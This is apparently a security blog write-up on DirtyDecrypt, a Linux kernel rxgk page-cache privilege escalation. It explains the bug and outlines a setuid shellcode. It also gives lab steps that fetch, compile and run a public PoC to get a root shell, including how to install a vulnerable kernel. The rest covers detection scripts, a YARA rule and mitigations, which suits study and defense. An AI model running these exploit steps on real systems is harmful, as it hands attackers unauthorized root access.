What is DirtyDecrypt
DirtyDecrypt (also known as DirtyCBC) is a local privilege escalation (LPE) vulnerability in the Linux kernel that allows an unprivileged user to obtain root on systems with the rxgk module enabled (CONFIG_RXGK). The bug is a missing COW (Copy-On-Write) protection in rxgk_decrypt_skb(), which allows corruption of the kernel page cache by writing arbitrary bytes into read-only files.
The exploit, independently discovered by Aaron Esau from the V12 Security team (reported on May 9, 2026), overwrites a suid-root binary (such as /usr/bin/su) with a minimal ELF shellcode that executes setuid(0) + execve("/bin/sh"), gaining root instantly.
Key data
| Field | Value |
|---|---|
| CVE | CVE-2026-31635 (according to Will Dormann / Tharros) |
| Name | DirtyDecrypt / DirtyCBC |
| CVSS | ~7.8 (High) — local LPE |
| CWE | CWE-667 (Improper Locking / Missing COW) |
| Discoverer | Aaron Esau / V12 Security (AI-assisted discovery) |
| Vendor | Linux Kernel |
| Patch | Mainline (April 25, 2026) |
| Affected | Kernels ≥6.16 with CONFIG_RXGK=y/m (introduced in 6.16) |
| Affected distros | Fedora 42+, Arch Linux, openSUSE Tumbleweed (kernel ≥6.16) |
| Prerequisite | Local user + CONFIG_RXGK + readable suid-root binary + sufficient kernel.keys.maxkeys |
| Family | Dirty Frag, Fragnesia, Copy Fail (page cache class) |
How the bug works
The issue: in-place decrypt without COW
In net/rxrpc/rxgk_common.h, the function rxgk_decrypt_skb() executes this sequence:
skb_to_sgvec()— converts SKB fragments into a scatter-gather listcrypto_krb5_decrypt()— decrypts in-place using AEAD (AES-CBC)
The issue: it does not call skb_cow_data() before decryption. The krb5enc template in crypto/krb5enc.c decrypts in-place before HMAC verification. When SKB fragment pages are page cache pages (injected via splice → MSG_SPLICE_PAGES → loopback), the in-place decryption directly corrupts page cache.
// Bug pseudocode
void rxgk_decrypt_skb(skb) {
sgvec = skb_to_sgvec(skb); // page cache pages
crypto_krb5_decrypt(sgvec); // decrypts IN-PLACE ← corrupts page cache!
// missing: skb_cow_data() should copy pages first
verify_hmac(sgvec); // HMAC fails, but the damage is done
}
The same pattern exists in rxkad_verify_packet_2() (rxkad).
Sliding window: byte-by-byte write
The exploit uses a sliding-window technique to write arbitrary bytes into page cache, one byte at a time:
- Round i: triggers a spliced rxgk packet at offset
S+i, corrupting a 16-byte AES block - Byte
[0]of the output is uniformly random (1/256 chance of the desired value) - Round i+1: at offset
S+i+1, overwrites the 15 collateral-damage bytes from the previous round, but never touches the byte already written in round i
Result: writes with single-byte granularity at ~256 trigger attempts per byte. For a 120-byte shellcode, that is ~30,720 triggers, i.e., a few minutes.
From page cache corruption to root
- Find a readable suid-root binary (e.g.,
/usr/bin/su,/usr/bin/mount) - Back up the binary
- Open the file with
O_RDONLYandmmap(MAP_SHARED)to keep pages cached - From a user namespace (loopback + rxgk), trigger byte-by-byte corruption
- Overwrite the first 120 bytes with a tiny ELF shellcode:
setuid(0)(syscall 105)execve("/bin/sh", NULL, NULL)(syscall 59)
- Execute the corrupted suid binary → root shell
The ELF shellcode (120 bytes)
; tiny_elf: ET_DYN ELF x86_64, 120 bytes
; PT_LOAD covers exactly 120 bytes
; Offset 0x68: entry point
; mov al, 0x69 ; sys_setuid
; syscall ; setuid(0)
; lea rdi, "/bin/sh" ; string embedded in p_paddr
; push 59; pop rax ; sys_execve
; syscall ; execve("/bin/sh", 0, 0)
The ELF is a valid PIE executable of only 120 bytes that matches the first 24 bytes of any PIE binary (ET_DYN, x86_64), minimizing the bytes that need to be changed.
Reproduction lab
Lab architecture
┌───────────────────────────────────────────────────────────────┐
│ Vagrant VM: Fedora 42 (bento/fedora-42) — kernel with RXGK │
│ - 2 CPUs, 2GB RAM (VirtualBox) │
│ - CONFIG_RXGK=y enabled (kernel 6.16+) │
│ - Unprivileged user: testuser │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Exploit (poc.c) as 'testuser' │ │
│ │ │ │
│ │ 1. fork() → child in user+net namespace │ │
│ │ 2. Loopback + AF_RXRPC + splice → pagecache write │ │
│ │ 3. Sliding window → overwrite /usr/bin/su (suid) │ │
│ │ 4. exec /usr/bin/su → root shell │ │
│ └─────────────────────────────────────────────────────────┘ │
└───────────────────────────────────────────────────────────────┘
Requirements
- VirtualBox 6.x / 7.x
- Vagrant 2.x
- ~3GB disk space (Fedora 42 box)
- Internet connection (first-time box download)
Important: CONFIG_RXGK was introduced in kernel 6.16. Fedora 40 and earlier are not vulnerable (they do not include the module). You need Fedora 42+ (or Arch/openSUSE Tumbleweed with kernel ≥6.16).
Vagrantfile
Vagrant.configure("2") do |config|
config.vm.box = "bento/fedora-42"
config.vm.synced_folder ".", "/vagrant", disabled: true
config.vm.provider "virtualbox" do |vb|
vb.memory = "2048"
vb.cpus = 2
vb.name = "fedora-dirtydecrypt"
end
config.vm.provision "shell", inline: <<-SHELL
# Create unprivileged user
useradd -m -s /bin/bash testuser 2>/dev/null || true
echo "testuser:testuser123" | chpasswd
# Install compiler
dnf install -y gcc make kernel-headers 2>/dev/null
# Increase kernel key quota (required by exploit)
sysctl -w kernel.keys.maxkeys=100000
sysctl -w kernel.keys.maxbytes=10000000
# Verify CONFIG_RXGK
echo "[*] CONFIG_RXGK: $(grep CONFIG_RXGK /boot/config-$(uname -r) 2>/dev/null || echo 'NOT FOUND')"
echo "[*] Kernel: $(uname -r)"
SHELL
end
Deployment and execution
# 1. Create lab directory
mkdir dirtydecrypt-lab && cd dirtydecrypt-lab
# 2. Create Vagrantfile (see above) and boot VM
vagrant up
# 3. Verify CONFIG_RXGK is enabled
vagrant ssh -c "grep CONFIG_RXGK /boot/config-\$(uname -r)"
# Expected output: CONFIG_RXGK=y
# 4. Verify kernel version (must be >= 6.16 and < 6.19.13)
vagrant ssh -c "uname -r"
# NOTE: If kernel is already patched (>= 6.19.13), install a vulnerable one:
# vagrant ssh -c "sudo dnf install -y koji"
# vagrant ssh -c "cd /tmp && koji download-build --arch=x86_64 kernel-6.19.11-100.fc42"
# vagrant ssh -c "sudo dnf install -y /tmp/kernel-core-6.19.11*.rpm \
# /tmp/kernel-modules-core-6.19.11*.rpm /tmp/kernel-modules-6.19.11*.rpm"
# vagrant ssh -c "sudo grubby --set-default /boot/vmlinuz-6.19.11-100.fc42.x86_64"
# vagrant reload
# 5. Download exploit in the VM
vagrant ssh -c "curl -sL -o /tmp/poc.c \
https://raw.githubusercontent.com/v12-security/pocs/main/dirtydecrypt/poc.c"
# 6. Compile
vagrant ssh -c "gcc -O2 -o /tmp/dirtydecrypt /tmp/poc.c && chmod 755 /tmp/dirtydecrypt"
# 7. Run as unprivileged user
vagrant ssh -c "sudo -u testuser /tmp/dirtydecrypt"
Expected output
=== rxgk pagecache write ===
uid=1001 euid=1001
[*] writing shellcode to /usr/bin/su (96 bytes from offset 24)
[========================================] 100% (96/96, 23400 fires)
[*] 23400 fires in 185.9s
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_3759 /usr/bin/su
# id
uid=0(root) gid=0(root) groups=0(root)
Restore the corrupted binary
# From the obtained root shell:
cp /tmp/.su_<PID> /usr/bin/su
chmod 4755 /usr/bin/su
Clean up the lab
vagrant destroy -f
Attack detection
Indicators
- Processes creating user namespaces +
AF_RXRPCsockets (uncommon syscall usage) - Unexpected modifications in suid-root binary contents
- Multiple loopback UDP packets using rxrpc protocol
- Suspicious dot-prefixed backups in
/tmp/(e.g./tmp/.su_*)
Detection script
#!/bin/bash
# check_dirtydecrypt.sh — Linux
echo "=== DirtyDecrypt (CVE-2026-31635) Check ==="
# 1. Kernel
KERNEL=$(uname -r)
echo "[INFO] Kernel: $KERNEL"
# 2. Is CONFIG_RXGK enabled?
CONFIG_FILE="/boot/config-$KERNEL"
if [ -f "$CONFIG_FILE" ]; then
RXGK=$(grep "CONFIG_RXGK" "$CONFIG_FILE" 2>/dev/null)
if echo "$RXGK" | grep -q "=m\|=y"; then
echo "[VULNERABLE] CONFIG_RXGK enabled: $RXGK"
else
echo "[OK] CONFIG_RXGK not enabled"
exit 0
fi
else
# Try via modprobe
if modprobe -n rxgk 2>/dev/null; then
echo "[VULNERABLE] rxgk module available"
elif modprobe -n rxrpc 2>/dev/null; then
echo "[WARNING] rxrpc available (verify rxgk manually)"
else
echo "[OK] rxgk/rxrpc not available"
exit 0
fi
fi
# 3. Is module loaded?
if lsmod | grep -q rxgk; then
echo "[INFO] rxgk module currently loaded"
elif lsmod | grep -q rxrpc; then
echo "[INFO] rxrpc loaded (rxgk may load on demand)"
fi
# 4. Indicators of compromise
echo ""
for pat in /tmp/.su_* /tmp/.mount_* /tmp/.passwd_* /tmp/.chsh_*; do
if compgen -G "$pat" > /dev/null 2>&1; then
echo "[CRITICAL] Suspicious backup found: $pat"
ls -la $pat 2>/dev/null
fi
done
# 5. Verify suid binary integrity
echo ""
echo "[INFO] Verifying suid-root binaries..."
for f in /usr/bin/su /usr/bin/mount /usr/bin/passwd /usr/bin/chsh; do
if [ -f "$f" ]; then
MAGIC=$(xxd -l 4 "$f" 2>/dev/null | awk '{print $2 $3}')
if [ "$MAGIC" != "7f454c46" ]; then
echo "[CRITICAL] $f has corrupted magic bytes!"
fi
fi
done
echo ""
echo "[MITIGATION] To disable rxgk:"
echo " echo 'install rxgk /bin/false' >> /etc/modprobe.d/dirtydecrypt.conf"
echo " echo 'install rxrpc /bin/false' >> /etc/modprobe.d/dirtydecrypt.conf"
echo " rmmod rxgk rxrpc 2>/dev/null"
YARA rule
rule Linux_DirtyDecrypt_PoC {
meta:
description = "Detects DirtyDecrypt / DirtyCBC exploit (CVE-2026-31635)"
author = "Red Orbita"
date = "2026-05-18"
cve = "CVE-2026-31635"
severity = "high"
strings:
$s1 = "rxgk_decrypt_skb" ascii
$s2 = "rxgk pagecache write" ascii
$s3 = "skb_cow_data" ascii
$s4 = "sliding-window" ascii nocase
$s5 = "AF_RXRPC" ascii
$s6 = "RXGK_SECURITY_INDEX" ascii
$s7 = "pagecache_write" ascii
$s8 = "DirtyDecrypt" ascii nocase
$s9 = "DirtyCBC" ascii nocase
$s10 = "tiny_elf" ascii
$s11 = "/tmp/.su_" ascii
$s12 = "CLONE_NEWUSER" ascii
condition:
($s2) or
($s8 or $s9) or
($s6 and $s7) or
($s5 and $s10 and $s12) or
(4 of ($s*))
}
Workaround
Disable the rxgk and rxrpc modules:
# Immediate mitigation
sh -c "printf 'install rxgk /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtydecrypt.conf"
rmmod rxgk rxrpc 2>/dev/null
echo 3 > /proc/sys/vm/drop_caches
# Combined mitigation (includes Dirty Frag / Fragnesia / Copy Fail)
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
Note: this disables IPsec VPN functions (esp4/esp6) and AFS (rxrpc/rxgk).
Permanent fix
Upgrade the kernel to a patched version. The fix adds skb_cow_data() before decryption:
+ if (skb_cow_data(skb, 0, &trailer) < 0)
return -ENOMEM;
sg_init_table(sg, nsg);
skb_to_sgvec(skb, sg, offset, len);
crypto_krb5_decrypt(...);
# Fedora
sudo dnf upgrade --refresh
sudo reboot
# Arch Linux
sudo pacman -Syu
sudo reboot
Relation to other page cache vulnerabilities
DirtyDecrypt belongs to a family of Linux kernel LPE vulnerabilities that exploit page cache corruption:
| Vulnerability | Module | Technique | Status |
|---|---|---|---|
| Dirty Frag | esp4/esp6 | splice + in-place decrypt (IPsec) | Patched |
| Fragnesia | esp4/esp6 | Dirty Frag variant with TCP | Patched |
| Copy Fail (CVE-2026-32202) | esp4/esp6 | Actively exploited (CISA KEV) | Patched |
| DirtyDecrypt (CVE-2026-31635) | rxgk | splice + in-place decrypt (AFS/RxGK) | Mainline patched |
All of them share the same root cause: in-place decryption of page cache pages without COW protection. The common mitigation is to disable affected crypto modules.
Timeline
| Date | Event |
|---|---|
| April 25, 2026 | Patch merged into kernel mainline |
| May 9, 2026 | V12 Security independently reports (informed as duplicate) |
| May 18, 2026 | V12 publishes PoC and write-up |
| May 18, 2026 | BleepingComputer publishes article |
| May 18, 2026 | Will Dormann (Tharros) links it to CVE-2026-31635 |
References
- GitHub - v12-security/pocs/dirtydecrypt — PoC source code
- BleepingComputer — Article
- NVD - CVE-2026-31635
- V12 Security — Original announcement
- KernelConfig - CONFIG_RXGK — Option documentation
Comments